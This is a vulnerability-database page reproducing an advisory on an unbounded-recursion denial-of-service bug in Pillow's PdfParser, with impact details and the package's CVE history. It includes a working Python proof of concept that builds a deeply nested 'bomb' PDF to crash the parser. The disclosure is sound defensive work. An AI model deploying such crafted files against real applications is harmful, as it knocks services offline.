Media

Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()

  • Publicada: 21.10.2026
  • Actualizado: 22.10.2026 18:07

Summary

PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

Details

get_value() in src/PIL/PdfParser.py

This is a classmethod that takes max_nesting: int = -1 and has a guard:

python
if max_nesting == 0:
    return None, None

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .

Steps to reproduce

Both PDFs below are plain text, built directly in Python, no PDF library needed.

python
from PIL.PdfParser import PdfParser

def build_pdf(root):
    out = bytearray(b"%PDF-1.4\n")
    offset = len(out)
    out += f"1 0 obj\n".encode()
    out += root
    out += b"\nendobj\n"
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    xref_offset = len(out)
    out += b"xref\n"
    out += f"0 2\n".encode()
    out += b"0000000000 65535 f \n"
    out += f"{offset:010d} 00000 ".encode() + b"n \n"
    out += b"trailer\n"
    out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
    f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf")     # raises RecursionError

Expected: a clean PdfFormatError.

Actual: raises a raw RecursionError: maximum recursion depth exceeded.

Impact

  • Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes.
  • Confidentiality: none.
  • Integrity: none.
  • Pillow cannot open PDFs for reading through Image.open(). PdfParser is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-835
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
21.10.2026
Actualizado
22.10.2026 18:07

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-254f-3936-288h - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (98) en el archivo
Entradas en total
98
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 12
  • Alta 57
  • Media 27
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 40

antes: 12

Gravedad:
  1. Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() esta entrada
    Media CVE-2026-112391 >= 5.1.0, < 13.0.0 13.0.0
  2. Alta CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Crítica CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  6. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  7. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  8. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  9. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  10. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  11. Alta · 8.8 Explotada en ataques CVE-2023-4863 < 10.0.1 10.0.1
  12. Alta · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  13. Alta · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  14. Alta · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  15. Crítica · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  16. Alta · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  17. Crítica · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  18. Alta · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  19. Alta · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  20. Alta · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  21. Alta · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  22. Alta · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  23. Alta · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  24. Alta · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  25. Alta · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  26. Crítica · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  27. Alta · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  28. Alta · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  29. Alta · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  30. Alta · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  31. Alta · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  32. Crítica · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  33. Alta · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  34. Alta · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  35. Alta · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  36. Alta · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  37. Crítica · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  38. Crítica · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
  39. Crítica · 8.8 CVE-2020-5310 < 6.2.2 6.2.2
Mostrar más (10) Mostrando 60 de 70

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.